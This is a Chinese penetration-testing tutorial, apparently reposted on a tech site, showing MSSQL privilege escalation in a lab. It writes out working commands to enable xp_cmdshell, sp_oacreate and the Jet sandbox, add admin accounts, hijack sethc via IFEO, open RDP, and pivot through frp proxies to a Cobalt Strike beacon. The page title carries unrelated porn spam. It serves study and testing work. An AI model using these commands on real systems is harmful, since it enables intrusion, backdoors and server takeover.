欧美性猛交xxxx免费看_牛牛在线视频国产免费_天堂草原电视剧在线观看免费_国产粉嫩高清在线观看_国产欧美日本亚洲精品一5区

0
  • 聊天消息
  • 系統(tǒng)消息
  • 評(píng)論與回復(fù)
登錄后你可以
  • 下載海量資料
  • 學(xué)習(xí)在線課程
  • 觀看技術(shù)視頻
  • 寫文章/發(fā)帖/加入社區(qū)
會(huì)員中心
創(chuàng)作中心

完善資料讓更多小伙伴認(rèn)識(shí)你,還能領(lǐng)取20積分哦,立即完善>

3天內(nèi)不再提示

數(shù)據(jù)庫安全之MSSQL滲透

jf_Fo0qk3ln ? 來源:菜鳥學(xué)信安 ? 2023-02-15 11:30 ? 次閱讀

本篇文章是MSSQL數(shù)據(jù)庫漏洞提權(quán)復(fù)現(xiàn)記錄,記錄了實(shí)際中常見的MSSQL數(shù)據(jù)庫漏洞并如何利用,對(duì)漏洞底層的原理簡單分析,主要分為五個(gè)部分:MSSQL簡介、MSSQL各版本安裝、MSSQL基本操作、MSSQL漏洞復(fù)現(xiàn)提權(quán)和自建內(nèi)網(wǎng)環(huán)境實(shí)戰(zhàn)。

本篇文章由淺入深地介紹了系統(tǒng)存儲(chǔ)過程控制不當(dāng)導(dǎo)致提權(quán)如sp_oacreate和sp_oamethod、擴(kuò)展存儲(chǔ)過程使用不當(dāng)提權(quán)如xp_cmdshell和xp_regwrite、沙盒提權(quán)及映像劫持。在學(xué)習(xí)MSSQL過程中也閱讀了幾十篇中英文MSSQL相關(guān)技術(shù)文章,最終按照作者我的思路進(jìn)行總結(jié),相關(guān)參考文章也在文中有列出。此外,文中可能會(huì)出現(xiàn)部分錯(cuò)誤,望讀者指出,謝謝。接著,開始我們的MSSQL數(shù)據(jù)庫滲透學(xué)習(xí)?。?/p>

一、MSSQL簡介

MSSQL(MicroSoft SQL Server數(shù)據(jù)庫),是微軟開發(fā)的關(guān)系型數(shù)據(jù)庫管理系統(tǒng)DBMS,是一個(gè)較大型的數(shù)據(jù)庫,提供數(shù)據(jù)庫的從服務(wù)器到終端的完整的解決方案,數(shù)據(jù)庫管理系統(tǒng)SSMS(SQL Server Managerment Studio),是一個(gè)用于建立、使用和維護(hù)數(shù)據(jù)庫的集成開發(fā)環(huán)境。端口號(hào):1433

SA用戶

在搭建時(shí),選擇使用SQL Server身份驗(yàn)證會(huì)創(chuàng)建SA賬戶并設(shè)置密碼,SA(System Administrator)表示系統(tǒng)管理員,在SQLServer2019之前的SA用戶都是系統(tǒng)最高權(quán)限用戶SYSTEM,但在2019版本時(shí)為普通數(shù)據(jù)庫用戶mssqlserver,是一個(gè)低權(quán)用戶。

MSSQL權(quán)限級(jí)別

sa權(quán)限:數(shù)據(jù)庫操作,文件管理,命令執(zhí)行,注冊(cè)表讀取等價(jià)于system,SQLServer數(shù)據(jù)庫的最高權(quán)限

db權(quán)限:文件管理,數(shù)據(jù)庫操作等價(jià)于 users-administrators

public權(quán)限:數(shù)據(jù)庫操作等價(jià)于 guest-users

存儲(chǔ)過程

MSSQL的存儲(chǔ)過程是一個(gè)可編程的函數(shù),它在數(shù)據(jù)庫中創(chuàng)建并保存,是使用T_SQL編寫的代碼段,目的在于能夠方便的從系統(tǒng)表中查詢信息。數(shù)據(jù)庫中的存儲(chǔ)過程可以看做是對(duì)編程中面向?qū)ο蠓椒ǖ?a href="http://www.delux-kingway.cn/analog/" target="_blank">模擬。它允許控制數(shù)據(jù)的訪問方式,使用execute命令執(zhí)行存儲(chǔ)過程。(可以將存儲(chǔ)過程理解為函數(shù)調(diào)用的過程)

簡單來說,存儲(chǔ)過程就是一條或者多條sql語句的集合,可視為批處理文件

存儲(chǔ)過程可分為三類:系統(tǒng)存儲(chǔ)過程:主要存儲(chǔ)在master數(shù)據(jù)庫中,以”sp_“為前綴,在任何數(shù)據(jù)庫中都可以調(diào)用,在調(diào)用的時(shí)候不必在存儲(chǔ)過程前加上數(shù)據(jù)庫名擴(kuò)展存儲(chǔ)過程:是對(duì)動(dòng)態(tài)鏈接庫(DLL)函數(shù)的調(diào)用,主要是用于客戶端與服務(wù)器端或客戶端之間進(jìn)行通信的,以“xp**_“為前綴,使用方法與系統(tǒng)存儲(chǔ)過程類似用戶定義的存儲(chǔ)過程:**是SQLServer的使用者編寫的存儲(chǔ)過程

系統(tǒng)數(shù)據(jù)庫

系統(tǒng)數(shù)據(jù)庫默認(rèn)創(chuàng)建時(shí)就會(huì)存在,有以下4種

2614199e-ac54-11ed-bfe3-dac502259ad0.jpg

數(shù)據(jù)庫名 含義
master master數(shù)據(jù)庫控制SQLserver數(shù)據(jù)庫所有方面。這個(gè)數(shù)據(jù)庫中包括了所有的配置信息、用戶登錄信息、當(dāng)前正在服務(wù)器中運(yùn)行的過程的信息等。
model model數(shù)據(jù)庫是建立所有用戶數(shù)據(jù)庫時(shí)的模版。新建數(shù)據(jù)庫時(shí),SQLserver會(huì)把model數(shù)據(jù)庫中的所有對(duì)象建立一份拷貝并移到新數(shù)據(jù)庫中。在模版對(duì)象被拷貝到新的用戶數(shù)據(jù)庫中之后,該數(shù)據(jù)庫的所有多余空間都將被空頁填滿。
msdb msdb數(shù)據(jù)庫是SQLserver數(shù)據(jù)庫中的特例,若想查看此數(shù)據(jù)庫的實(shí)際定義,會(huì)發(fā)現(xiàn)它其實(shí)是一個(gè)用戶數(shù)據(jù)庫。所有的任務(wù)調(diào)度、報(bào)警、操作員都存儲(chǔ)在msdb數(shù)據(jù)庫中。該庫的另一個(gè)功能是用來存儲(chǔ)所有備份歷史。SQLserver agent將會(huì)使用這個(gè)庫。
tempdb 據(jù)庫是一個(gè)非常特殊的數(shù)據(jù)庫,供所有來訪問你的SQL Server的用戶使用。這個(gè)庫用來保存所有的臨時(shí)表、存儲(chǔ)過程和其他SQL Server建立的臨時(shí)用的東西。例如,排序時(shí)要用到tempdb數(shù)據(jù)庫。數(shù)據(jù)被放進(jìn)tempdb數(shù)據(jù)庫,排完序后再把結(jié)果返回給用戶。每次SQL Server重新啟動(dòng),它都會(huì)清空tempdb數(shù)據(jù)庫并重建。永遠(yuǎn)不要在tempdb數(shù)據(jù)庫建立需要永久保存的表。

MSSQL注入

MSSQL注入與普通的MYSQL注入類似,但在數(shù)據(jù)結(jié)構(gòu)特定函數(shù)名稱上有些差異。而使用經(jīng)過語法擴(kuò)展的T-SQL語句,在實(shí)現(xiàn)更為復(fù)雜的業(yè)務(wù)的同時(shí),也帶來了安全上的危險(xiǎn)。因此MSSQL在后續(xù)提權(quán)部分,與MYSQL有著較大的差異。由于該數(shù)據(jù)庫與Windows平臺(tái)的高契合度,使其可以使用Windows身份驗(yàn)證(或SA管理員賬號(hào)),這就導(dǎo)致其運(yùn)行權(quán)限較高。因此,若后續(xù)權(quán)限沒有限制準(zhǔn)確,WEB代碼又存在SQL注入時(shí),就會(huì)給整個(gè)服務(wù)器的安全帶來嚴(yán)重威脅,其后果一般比Mysql被攻破要嚴(yán)重。

二、軟件安裝及環(huán)境搭建

1、MSSQL 2019安裝

Win2016 + MSSQL2019

下載地址:https://www.microsoft.com/zh-cn/sql-server/sql-server-downloads

選擇SQL Server 2019 Express Edition版本

安裝過程百度即可,這里記錄其中較關(guān)鍵的地方:

安裝類型選擇-基本(B)
實(shí)例配置選擇-默認(rèn)實(shí)例
服務(wù)器配置選擇-混合模式(SQL Server身份驗(yàn)證和Windows 身份驗(yàn)證)(M)
配置SQL Server系統(tǒng)管理員SA的密碼(我設(shè)置密碼為123.com

安裝SQL Server Managerment Studio|SSMS

安裝完SQL Server Express版本后,可以直接選擇安裝SSMS

2633dc34-ac54-11ed-bfe3-dac502259ad0.jpg

在點(diǎn)擊"安裝SSMS"彈出網(wǎng)頁內(nèi)選擇下載SSMS
點(diǎn)擊該程序,默認(rèn)安裝即可

2、MSSQL 2008 x64 安裝

Win2016 + MSSQL2008

下載地址:

https://www.microsoft.com/zh-CN/download/details.aspx?id=30438

下載如圖兩個(gè)文件

265a446e-ac54-11ed-bfe3-dac502259ad0.jpg

先安裝SQLEXPR_x64_CHS.exe

基本安裝過程類似2019的,記錄下重要部分

選擇-全新安裝
實(shí)例配置選擇-默認(rèn)實(shí)例
服務(wù)器配置選擇-混合模式(SQL Server身份驗(yàn)證和Windows 身份驗(yàn)證)(M)
配置SQL Server系統(tǒng)管理員SA的密碼(我設(shè)置密碼為123.com

再安裝SQLManagementStudio_x64_CHS.exe

提示沒有安裝.NET3.5,按下文步驟即可

https://www.cnblogs.com/labster/p/14863516.html

之后選擇全新安裝,默認(rèn)下一步即可

3、MSSQL 2008 x32 安裝

Win2003 + MSSQL2008

下載地址:

https://www.microsoft.com/zh-CN/download/details.aspx?id=30438

這里的32位系統(tǒng)環(huán)境用于復(fù)現(xiàn)第四部分的沙盒漏洞提權(quán),相較于前兩個(gè)數(shù)據(jù)庫的安裝,這里遇到了不少坑,較詳細(xì)介紹下。使用Win2003 x32系統(tǒng)作為復(fù)現(xiàn)操作系統(tǒng),由于年代久遠(yuǎn)加上03系統(tǒng)裝08軟件,記錄下幾個(gè)坑點(diǎn)。

1)啟動(dòng)SQLEXPR_x86_CHS.exe提示缺失程序

26889d64-ac54-11ed-bfe3-dac502259ad0.jpg

2)安裝.NET 3.5

慢慢等待5分鐘

26af8eba-ac54-11ed-bfe3-dac502259ad0.jpg

3)安裝Windows_Installer4.5x86.exe

默認(rèn)下一步

26db5ba8-ac54-11ed-bfe3-dac502259ad0.jpg

4)安裝powershell2003x86-CHS.exe

270da19e-ac54-11ed-bfe3-dac502259ad0.jpg

其余安裝過程類似,就不詳細(xì)介紹了,附上安裝工具包:

https://pan.baidu.com/s/15CngCBWign9fY1IrSt4_jg
密碼:fm4v

三、MSSQL基本操作

1、SSMS連接數(shù)據(jù)庫

連接本地?cái)?shù)據(jù)庫,在之前的設(shè)置中,我們?cè)O(shè)置了混雜模式,即可以使用SQL Server 身份驗(yàn)證或 Windows 身份驗(yàn)證登陸進(jìn)數(shù)據(jù)庫,點(diǎn)擊啟動(dòng)SSMS

服務(wù)器名稱可以填寫主機(jī)名或本地ip地址 登錄名和密碼為sa:123.com

2722f3b4-ac54-11ed-bfe3-dac502259ad0.jpg

注意點(diǎn):可以一開始會(huì)出現(xiàn)使用主機(jī)名可以登入上,但是使用ip登入不上的情況可以參考如下文章解決

https://blog.csdn.net/weixin_30740295/article/details/95535927

MSSQL設(shè)置允許通過ip登陸

(以2019版本為例,其余版本類似)

1)打開配置管理器

2748e268-ac54-11ed-bfe3-dac502259ad0.jpg

2)協(xié)議TCP/IP設(shè)置為開啟

SQL Server 網(wǎng)絡(luò)配置下的MSSQLSERVER的協(xié)議里啟用TCP/IP協(xié)議

27726656-ac54-11ed-bfe3-dac502259ad0.jpg

3)開啟遠(yuǎn)程登陸

先用主機(jī)名進(jìn)行登陸

右鍵,打開數(shù)據(jù)庫的屬性

2795e162-ac54-11ed-bfe3-dac502259ad0.jpg

連接處勾選允許遠(yuǎn)程連接到此服務(wù)器

27b91f38-ac54-11ed-bfe3-dac502259ad0.jpg

4)關(guān)閉防火墻

這里用于滲透測試,直接全部關(guān)了

27e96724-ac54-11ed-bfe3-dac502259ad0.jpg

5)重啟SSMS服務(wù)

打開管理員模式下的CMD

net stop mssqlserver
net start mssqlserver

之后就可以使用IP進(jìn)行登陸

2814667c-ac54-11ed-bfe3-dac502259ad0.jpg

2、常見語句

右鍵系統(tǒng)數(shù)據(jù)庫,新建查詢

284359c8-ac54-11ed-bfe3-dac502259ad0.jpg

查看數(shù)據(jù)庫版本

select @@VERSION

獲取MSSQL中的所有數(shù)據(jù)庫名


	
SELECT name FROM MASter..SysDatabASes ORDER BY name

查詢所有數(shù)據(jù)庫中的表名

SELECT SysObjects.name AS Tablename FROM sysobjects WHERE xtype = 'U' and sysstat<200

其余見MSSQL基礎(chǔ)學(xué)習(xí)部分,自行百度

exec xp_dirtree 'c:'        # 列出所有c:文件、目錄、子目錄
exec xp_dirtree 'c:',1      # 只列c:目錄
exec xp_dirtree 'c:',1,1    # 列c:目錄、文件
exec xp_subdirs 'C:';       # 只列c:目錄
select is_srvrolemember('sysadmin') # 判斷是否是SA權(quán)限
select is_member('db_owner')        # 判斷是否是db_owner權(quán)限
select is_srvrolemember('public')   # 判斷是否是public權(quán)限
EXEC sp_configure 'Ole Automation Procedures'   #查看OLE Automation Procedures的當(dāng)前設(shè)置

四、MSSQL漏洞復(fù)現(xiàn)

1、使用xp_cmdshell進(jìn)行提權(quán)

xp_cmdshell默認(rèn)在mssql2000中是開啟的,在mssql2005之后默認(rèn)禁止,但未刪除

0x01 xp_cmdshell簡介

xp``_cmdshellSql Server中的一個(gè)組件,將命令字符串作為操作系統(tǒng)命令 shell 執(zhí)行,并以文本行的形式返回所有輸出。通常在拿到sa口令之后,可以通過xp``_cmdshell來進(jìn)行提權(quán)

影響范圍:

只要該數(shù)據(jù)庫存在該組件,就可以利用

0x02 xp_cmdshell使用

1)查看xp_cmdshell狀態(tài)

select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'

返回1表示xp``_cmdshell組件啟用

也可以手動(dòng)查看,右鍵數(shù)據(jù)庫,打開Facets

286cd8b6-ac54-11ed-bfe3-dac502259ad0.jpg

在方面中選擇外應(yīng)用配置器,在方面屬性中查看XP``CmdShellEnabled屬性為True

288639a0-ac54-11ed-bfe3-dac502259ad0.jpg

2)開啟xp_cmdshell組件

EXEC sp_configure 'show advanced options', 1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE

28cd7892-ac54-11ed-bfe3-dac502259ad0.jpg

同樣,關(guān)閉該組件的命令為

EXEC sp_configure 'show advanced options', 1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',0
RECONFIGURE

3)利用xp_cmdshell執(zhí)行命令

執(zhí)行系統(tǒng)命令

以下幾條命令格式都可以用于執(zhí)行系統(tǒng)命令

exec xp_cmdshell "whoami"
master..xp_cmdshell 'whoami'    (2008版上好像用不了)
EXEC master..xp_cmdshell "whoami"
EXEC master.dbo.xp_cmdshell "ipconfig"

28ec217a-ac54-11ed-bfe3-dac502259ad0.jpg

注意點(diǎn):在MSSQL2019版本中,會(huì)使用mssqlserver用戶而非system用戶

0x03 模擬實(shí)戰(zhàn):遠(yuǎn)程命令執(zhí)行創(chuàng)建用戶

這里通過演示遠(yuǎn)程命令執(zhí)行來模擬實(shí)戰(zhàn)情況,遠(yuǎn)程MSSQL數(shù)據(jù)庫版本為2008版 環(huán)境信息:

遠(yuǎn)程MSSQL數(shù)據(jù)庫的IP:192.168.112.166

假設(shè)已經(jīng)爆破得到了sa密碼

創(chuàng)建用戶聯(lián)合wmiexec拿到shell
exec master..xp_cmdshell "net user test12 123.com /add"
exec master..xp_cmdshell "net localgroup administrators test12 /add"
exec master..xp_cmdshell "net user test12"

290ed378-ac54-11ed-bfe3-dac502259ad0.jpg

可以看到用戶添加成功

29302a32-ac54-11ed-bfe3-dac502259ad0.jpg

后續(xù)可以登陸用戶上傳木馬,上線CS,詳情見本文第五部分:二級(jí)內(nèi)網(wǎng)MSSQL滲透|上線CS

0x04 保護(hù)措施

將該xp_cmdshell存儲(chǔ)過程刪除即可

exec sp_dropextendedproc 'xp_cmdshell'

被刪除后,重新添加xp``_cmdshell存儲(chǔ)過程語句

EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int;
sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll';

若想徹底刪除xp_cmdshell擴(kuò)展存儲(chǔ)過程,建議在C盤里直接搜索xplog70.dll,然后刪除xp_cmdshell。

2、使用sp_oacreate進(jìn)行提權(quán)|無回顯

0x01 sp_oacreate簡介

調(diào)用wscript.shel執(zhí)行命令

sp_oacreate系統(tǒng)存儲(chǔ)過程可以用于對(duì)文件刪除、復(fù)制、移動(dòng)等操作,還可以配合sp_oamethod系統(tǒng)存儲(chǔ)過程調(diào)用系統(tǒng)wscript.shell來執(zhí)行系統(tǒng)命令。sp_oacreatesp_oamethod兩個(gè)過程分別用來創(chuàng)建和執(zhí)行腳本語言。

系統(tǒng)管理員使用sp_configure啟用sp_oacreatesp_oamethod系統(tǒng)存儲(chǔ)過程對(duì)OLE自動(dòng)化過程的訪問(OLE Automation Procedures)

在效果方面,sp_oacreate、sp_oamethod兩個(gè)過程和xp_cmdshell過程功能類似,因此可以替換使用!

利用條件:

1.已獲取到sqlserver sysadmin權(quán)限用戶的賬號(hào)與密碼且未降權(quán)(如2019版本sa用戶權(quán)限為mssqlserver,已降權(quán))

2.sqlserver允許遠(yuǎn)程連接

3.OLE Automation Procedures選項(xiàng)開啟

0x02 sp_oacreate使用

1)查看sp_oacreate狀態(tài)

select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE';

返回1表示存在sp_oacreate系統(tǒng)存儲(chǔ)過程

2)啟用OLE Automation Procedures選項(xiàng)

當(dāng)啟用 OLE Automation Procedures 時(shí),對(duì) sp_OACreate 的調(diào)用將會(huì)啟動(dòng) OLE 共享執(zhí)行環(huán)境。

exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'Ole Automation Procedures',1;
reconfigure;

294d599a-ac54-11ed-bfe3-dac502259ad0.jpg

類似的,關(guān)閉組件命令

exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'Ole Automation Procedures',0;
reconfigure;

3)利用sp_oacreate和sp_oamethod執(zhí)行命令

寫入文件

declare @shell int exec sp_oacreate 'wscript.shell',@shell output 
exec sp_oamethod @shell,'run',null,'c:windowssystem32cmd.exe /c whoami >c:\sqltest.txt';
回顯0表示成功

297306ae-ac54-11ed-bfe3-dac502259ad0.jpg

由于這里是無回顯的命令執(zhí)行,到另一臺(tái)主機(jī)上查看效果,成功寫入。

29a3f0c0-ac54-11ed-bfe3-dac502259ad0.jpg

刪除文件

declare @result int
declare @fso_token int
exec sp_oacreate 'scripting.filesystemobject', @fso_token out
exec sp_oamethod @fso_token,'deletefile',null,'c:sqltest.txt'
exec sp_oadestroy @fso_token

29c5547c-ac54-11ed-bfe3-dac502259ad0.jpg

可以看到文件已刪除

29e91d76-ac54-11ed-bfe3-dac502259ad0.jpg

同樣,也可以使用4.1中的創(chuàng)建用戶進(jìn)行登陸拿shell。

3、利用SQL Server 沙盒提權(quán)

0x01 SQL Server 沙盒簡介

沙盒模式是一種安全功能,用于限制數(shù)據(jù)庫只對(duì)控件和字段屬性中的安全且不含惡意代碼的表達(dá)式求值。如果表達(dá)式不使用可能以某種方式損壞數(shù)據(jù)的函數(shù)或?qū)傩裕ㄈ鏚ill 和 Shell 之類的函數(shù)),則可認(rèn)為它是安全的。當(dāng)數(shù)據(jù)庫以沙盒模式運(yùn)行時(shí),調(diào)用這些函數(shù)的表達(dá)式將會(huì)產(chǎn)生錯(cuò)誤消息。

沙盒提權(quán)的原理就是jet.oledb(修改注冊(cè)表)執(zhí)行系統(tǒng)命令。數(shù)據(jù)庫通過查詢方式調(diào)用mdb文件,執(zhí)行參數(shù),繞過系統(tǒng)本身自己的執(zhí)行命令,實(shí)現(xiàn)mdb文件執(zhí)行命令。

利用前提:

1.需要Microsoft.Jet.OLEDB.4.0一般在32位系統(tǒng)才可以,64位機(jī)需要12.0,較復(fù)雜

2.dnary.mdbias.mdb兩個(gè)文件 在win2003上默認(rèn)存在,也可自行準(zhǔn)備

0x02 沙盒提權(quán)

復(fù)現(xiàn)環(huán)境

SQL Server2008 (Win2003-x32)
IP: 192.168.112.173

1)測試 jet.oledb 能否使用

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:windowssystem32iasias.mdb','select shell("cmd.exe /c whoami")')

2a12e066-ac54-11ed-bfe3-dac502259ad0.jpg

2)開啟Ad Hoc Distributed Queries組件

exec sp_configure 'show advanced options',1 ;
reconfigure ;
exec sp_configure 'Ad Hoc Distributed Queries',1 ;
reconfigure;

2a359c3c-ac54-11ed-bfe3-dac502259ad0.jpg

類似的,關(guān)閉組件命令

exec sp_configure 'show advanced options',1 ;
reconfigure ;
exec sp_configure 'Ad Hoc Distributed Queries',0 ;
reconfigure;

3)關(guān)閉沙盒模式

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',0;


沙盒模式`SandBoxMode`參數(shù)含義(默認(rèn)是2
0:在任何所有者中禁止啟用安全模式
1:為僅在允許范圍內(nèi)
2:必須在access模式下
3:完全開啟

2a5833a0-ac54-11ed-bfe3-dac502259ad0.jpg

查看命令:

exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines', 'SandBoxMode'

關(guān)閉命令:

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',2

4)執(zhí)行命令

Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:windowssystem32iasias.mdb','select shell("cmd.exe /c whoami >c:\sqltest.txt ")');

在win2003的c盤上看到已經(jīng)創(chuàng)建了該文件,命令執(zhí)行成功

2a769a66-ac54-11ed-bfe3-dac502259ad0.jpg

同樣,可以創(chuàng)建用戶

Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:windowssystem32iasias.mdb','select shell("net user testq QWEasd123 /add")');


Select * From OpenRowSet('microsoft.jet.oledb.4.0',';Database=c:windowssystem32iasias.mdb','select shell("net localgroup administrators testq /add")');


Select * From OpenRowSet('microsoft.jet.oledb.4.0',';Database=c:windowssystem32iasias.mdb','select shell("net user testq")');

4、使用xp_regwrite提權(quán) | 映像劫持提權(quán)

2008以上,05未測試

0x01 簡介

通過使用xp_regwrite存儲(chǔ)過程對(duì)注冊(cè)表進(jìn)行修改,替換成任意值,造成鏡像劫持。

前提條件:

1.未禁止注冊(cè)表編輯(即寫入功能)

2.xp_regwrite啟用

0x02 映像劫持提權(quán)

1)查看xp_regwrite是否啟用

select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_regwrite'

2)xp_regwrite開啟與關(guān)閉

EXEC sp_configure 'show advanced options', 1
RECONFIGURE
EXEC sp_configure 'xp_regwrite',1
RECONFIGURE

2)利用regwrite函數(shù)修改組注冊(cè)表進(jìn)行劫持

EXEC master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.EXE',@value_name='Debugger',@type='REG_SZ',@value='c:windowssystem32cmd.exe'

2a9ef196-ac54-11ed-bfe3-dac502259ad0.jpg

2)查看是否修改成功文件

exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.exe','Debugger'

2abadcda-ac54-11ed-bfe3-dac502259ad0.jpg

顯示已修改為cmd.exe

在目標(biāo)主機(jī)上查看,結(jié)果一致

2ad3ebee-ac54-11ed-bfe3-dac502259ad0.jpg

3)驗(yàn)證是否成功

連按5次粘滯鍵,彈出cmd框

2afbb1ec-ac54-11ed-bfe3-dac502259ad0.jpg

拓展:

上面對(duì)只是對(duì)粘滯鍵進(jìn)行修改,類似的,可以在注冊(cè)表中進(jìn)行其他操作

刪除指定注冊(cè)表鍵值對(duì)

刪除粘滯鍵的鍵值

xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.exe'

2b97d8ba-ac54-11ed-bfe3-dac502259ad0.jpg

到目標(biāo)主機(jī)上查看,發(fā)現(xiàn)sethc.exe在注冊(cè)表中的值已刪除

2bb69890-ac54-11ed-bfe3-dac502259ad0.jpg

開啟3389端口這里的xp``_regwrite為向注冊(cè)表中寫數(shù)據(jù)

execmaster.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEMCurrentControlSetControlTerminalServer','fDenyTSConnections','REG_DWORD',0;
exec master..xp_cmdshell "REG ADD 'HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server' /v fDenyTSConnections /t REG_DWORD /d 0"

2bdab39c-ac54-11ed-bfe3-dac502259ad0.jpg

在注冊(cè)表中也可以看到3389端口被打開

2bfba232-ac54-11ed-bfe3-dac502259ad0.jpg

0x03 參考

https://sqlandme.com/tag/xp_regwrite/

IFEO映像劫持在實(shí)戰(zhàn)中的使用 - 知乎 (zhihu.com)

5、使用sp_makewebtask寫文件

2005

一般可以用于web網(wǎng)站,寫入后門文件

1)查看該組件

EXEC sp_configure 'Web Assistant Procedures'

2)開啟該組件

exec sp_configure 'Web Assistant Procedures', 1; RECONFIGURE

報(bào)錯(cuò),在SQLServer2005后好像都沒有這個(gè)組件了

6、拓展&小結(jié)

常見的存儲(chǔ)過程:

xp_cmdshell         執(zhí)行系統(tǒng)命令
xp_fileexist        確定一個(gè)文件是否存在。
xp_getfiledetails   獲得文件詳細(xì)資料。
xp_dirtree          展開你需要了解的目錄,獲得所有目錄深度。
Xp_getnetname       獲得服務(wù)器名稱。


注冊(cè)表訪問的存儲(chǔ)過程
Xp_regwrite
Xp_regread
Xp_regdeletekey
Xp_regaddmultistring
Xp_regdeletevalue
Xp_regenumvalues
Xp_regremovemultistring


OLE自動(dòng)存儲(chǔ)過程
Sp_OACreate Sp_OADestroy Sp_OAGetErrorInfo Sp_OAGetProperty
Sp_OAMethod Sp_OASetProperty Sp_OAStop

五、二級(jí)內(nèi)網(wǎng)MSSQL滲透|上線CS

這里模擬搭建二級(jí)內(nèi)網(wǎng)環(huán)境,順便復(fù)習(xí)下二級(jí)frp代理的搭建和內(nèi)網(wǎng)穿透上線CS。環(huán)境配置信息如下

公網(wǎng)服務(wù)器
121.xx.xx.xx
Web服務(wù)器(目標(biāo)站點(diǎn))
192.168.73.137(對(duì)外)
10.10.10.101(對(duì)內(nèi))
域控
10.10.10.10
10.12.10.5
MSSQL服務(wù)器
10.12.10.3

這里假設(shè)已經(jīng)獲取到了Web服務(wù)器和域控的權(quán)限

1、搭建二級(jí)代理

1)在域控上傳frpc.exefrpc.ini文件

#frpc.ini
[common]
server_addr = 10.10.10.101
server_port = 12010     # 連接端口
[http_proxy]
type = tcp
remote_port = 1084      # 代理端口
plugin = socks5

2)在Web服務(wù)器上傳frpc.exe、frpc.ini、frps.exe、frps.ini文件


	
# frps.ini
[common]
bind_addr = 10.10.10.101
bind_port = 12010 


# frpc.ini
[common]
server_addr = 121.xx.xx.xx
server_port = 12010
[http_proxy]
type = tcp
local_ip = 10.10.10.101
local_port = 1084
remote_port = 1084

3)在公網(wǎng)服務(wù)器上傳frps.exefrps.ini

#frps.ini
[common]
bind_addr = 0.0.0.0
bind_port = 12010

4)依次連接(由內(nèi)到外)

web服務(wù)器
frps.exe -c frps.ini
域控
frpc.exe -c frpc.ini


公網(wǎng)服務(wù)器
frps.exe -c frps.ini
web服務(wù)器
frpc.exe -c frpc.ini

2、爆破sa密碼

使用fscan掃描,順便進(jìn)行弱口令爆破,成功爆破出sa密碼

2c190688-ac54-11ed-bfe3-dac502259ad0.jpg

也可以使用msf模塊爆破

3、設(shè)置代理|遠(yuǎn)程登陸MSSQL

使用Proxifier設(shè)置代理,添加代理服務(wù)器信息

2c3e84da-ac54-11ed-bfe3-dac502259ad0.jpg

連接MSSQL數(shù)據(jù)庫

2c63f436-ac54-11ed-bfe3-dac502259ad0.jpg

成功連接!!

2c82d7ac-ac54-11ed-bfe3-dac502259ad0.jpg

4、使用xp_cmdshell創(chuàng)建用戶

這里也可以使用其他方法命令執(zhí)行

1)查看開啟xp_cmdshell組件

EXEC sp_configure 'show advanced options', 1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE

2ca21dc4-ac54-11ed-bfe3-dac502259ad0.jpg

2)查看當(dāng)前權(quán)限

exec master..xp_cmdshell "whoami"

2ccdf05c-ac54-11ed-bfe3-dac502259ad0.jpg

system權(quán)限,可以創(chuàng)建用戶

3)創(chuàng)建用戶并添加至管理員組

創(chuàng)建sqltest用戶,密碼為123.com

exec master..xp_cmdshell "net user test12 123.com /add"
exec master..xp_cmdshell "net localgroup administrators test12 /add"
exec master..xp_cmdshell "net user test12"

2cf2a424-ac54-11ed-bfe3-dac502259ad0.jpg

4)CS生成后門文件(中轉(zhuǎn)監(jiān)聽器)

在域控上建立中轉(zhuǎn)監(jiān)聽器

2d1444d0-ac54-11ed-bfe3-dac502259ad0.jpg

2d2e745e-ac54-11ed-bfe3-dac502259ad0.jpg

將生成好后的文件拷貝到kali上

5)使用wmiexec工具遠(yuǎn)程登陸

proxychains python3 wmiexec.py tset12:123.com@10.12.10.3

上傳木馬文件

2d5503c6-ac54-11ed-bfe3-dac502259ad0.jpg

6)成功上線CS

2d7636ae-ac54-11ed-bfe3-dac502259ad0.jpg

六、總結(jié)

本文介紹了幾種提權(quán)拿shell的方法,主要是利用到了系統(tǒng)存儲(chǔ)過程和擴(kuò)展存儲(chǔ)過程。最常見的xp_cmdshell可以用于執(zhí)行系統(tǒng)命令,xp_regwrite、xp_regread用于注冊(cè)表的讀寫進(jìn)行映像劫持,sp_oacreate、sp_oamethod基于OLE Automation Procedures執(zhí)行系統(tǒng)命令,不過無回顯,基于沙盒的提權(quán)限制條件比較多且復(fù)雜,一般很少使用。


審核編輯 :李倩


聲明:本文內(nèi)容及配圖由入駐作者撰寫或者入駐合作網(wǎng)站授權(quán)轉(zhuǎn)載。文章觀點(diǎn)僅代表作者本人,不代表電子發(fā)燒友網(wǎng)立場。文章及其配圖僅供工程師學(xué)習(xí)之用,如有內(nèi)容侵權(quán)或者其他違規(guī)問題,請(qǐng)聯(lián)系本站處理。 舉報(bào)投訴
  • 數(shù)據(jù)庫
    +關(guān)注

    關(guān)注

    7

    文章

    3853

    瀏覽量

    64758
  • 函數(shù)
    +關(guān)注

